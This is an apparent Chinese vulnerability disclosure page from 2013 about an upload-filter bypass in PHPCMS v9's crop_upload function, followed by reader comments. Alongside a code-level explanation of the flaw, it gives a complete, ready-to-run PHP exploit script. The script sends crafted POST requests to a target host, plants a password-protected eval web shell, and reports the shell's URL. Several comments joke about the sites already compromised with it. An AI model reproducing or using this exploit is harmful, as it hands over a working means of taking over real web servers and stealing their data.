2013-02-27: 细节已通知厂商并且等待厂商处理中 2013-03-04: 厂商已经主动忽略漏洞,细节向公众公开
phpcms v9 getshell (apache)
漏洞文件:phpcms\modules\attachment\attachments.php
public function crop_upload() { if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
后缀检测:phpcms\modules\attachment\functions\global.func.php
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
关键函数:
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
Fileext函数是对文件后缀名的提取。 根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php 经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。 我们回到public function crop_upload() 函数中 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit(); 在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数 这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。 经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。 最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。 看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
exp:
<?phperror_reporting(E_ERROR);set_time_limit(0);$pass="ln";print_r('+---------------------------------------------------------------------------+PHPCms V9 GETSHELL 0DAY code by L.N.apache 适用(利用的apache的解析漏洞)+---------------------------------------------------------------------------+');if ($argc < 2) {print_r('+---------------------------------------------------------------------------+Usage: php '.$argv[0].' url pathExample: 1.php '.$argv[0].' lanu.sinaapp.com 2.php '.$argv[0].' lanu.sinaapp.com /phpcms+---------------------------------------------------------------------------+');exit;}$url = $argv[1];$path = $argv[2];$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';if($ret=Create_dir($url,$path)){ //echo $ret; $pattern = "|Server:[^,]+?|U"; preg_match_all($pattern, $ret, $matches); if($matches[0][0]) { if(strpos($matches[0][0],'Apache') == false) { echo "\n亲!此网站不是apache的网站。\n";exit; } } $ret = GetShell($url,$phpshell,$path,$file); $pattern = "|http:\/\/[^,]+?\.,?|U"; preg_match_all($pattern, $ret, $matches); if($matches[0][0]) { echo "\n".'密码为: '.$pass."\n"; echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit; } else { $pattern = "|\/uploadfile\/[^,]+?\.,?|U"; preg_match_all($pattern, $ret, $matches); if($matches[0][0]) { echo "\n".'密码为: '.$pass."\n"; echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit; } else { echo "\r\n没得到!\n";exit; } }}function GetShell($url,$shell,$path,$js){ $content =$shell; $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n"; $data .= "Host: ".$url."\r\n"; $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n"; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; $data .= "Connection: close\r\n"; $data .= "Content-Length: ".strlen($content)."\r\n\r\n"; $data .= $content."\r\n"; $ock=fsockopen($url,80); if (!$ock) { echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit; } else { fwrite($ock,$data); $resp = ''; while (!feof($ock)) { $resp.=fread($ock, 1024); } return $resp; }}function Create_dir($url,$path=''){ $content ='I love you'; $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n"; $data .= "Host: ".$url."\r\n"; $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n"; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; $data .= "Connection: close\r\n"; $data .= "Content-Length: ".strlen($content)."\r\n\r\n"; $data .= $content."\r\n"; $ock=fsockopen($url,80); if (!$ock) { echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit; } fwrite($ock,$data); $resp = ''; while (!feof($ock)) { $resp.=fread($ock, 1024); } return $resp;}?>
过滤过滤再过滤
危害等级:无影响厂商忽略
忽略时间:2013-03-04 23:17
暂无
出租广告位
又一个狂风到来 .
出租小马扎,汽水,爆米花,恰恰瓜子。
FLASH上传文件那里?
坐等公开。。。
估计就是老的那个漏洞,,。。。纯粹是服务器环境问题。如果要从修改代码的方向杜绝这个问题的话,我是没辙了。。 WooYun: PHPCMS V9 getwebshell漏洞
成都信息学院的学生?
@tenzy 修改代码可以杜绝的!他获取后缀的时候来了个1-10.
不明觉历
=.=好忽略
这个漏洞需要些水平,主要是写语句的水平
我~次奥~忽略了?
@Hello_C 你答对了=。=·
这个洞已经让很多站遭殃了
@社长 所以说phpcms给各位大黑阔带来了好多肉鸡和裤子啊。一起感谢phpcms吧
@n3wF 这几天DZ的0day也很火啊
@社长 求来一发
@社长 来一发
@tenzy @L.N. 我是觉得奇怪的为什么file参数要允许url传入,难道要支持远程裁剪图片么,但真是这样的话,应该抽出来独立来做才对,而不是现在这样疑似违反类的单一职责原则...修复方案可以考虑根据附件模型,作正则匹配(这部分需要对phpcms有一定了解);并且写入时,不允许多后缀名,一种文件命名示例是:sha1或md5($_GET['file'])+经过验证的图片后缀名(怕麻烦可以直接.jpg结尾,反正浏览器显示图片并不会管后缀名)
@90_ 你是成都工程信息工程学院的学生?
@情逍遥 有事么?
@90_ 没有什么事,我也是这个学校的。如果是,想认识下。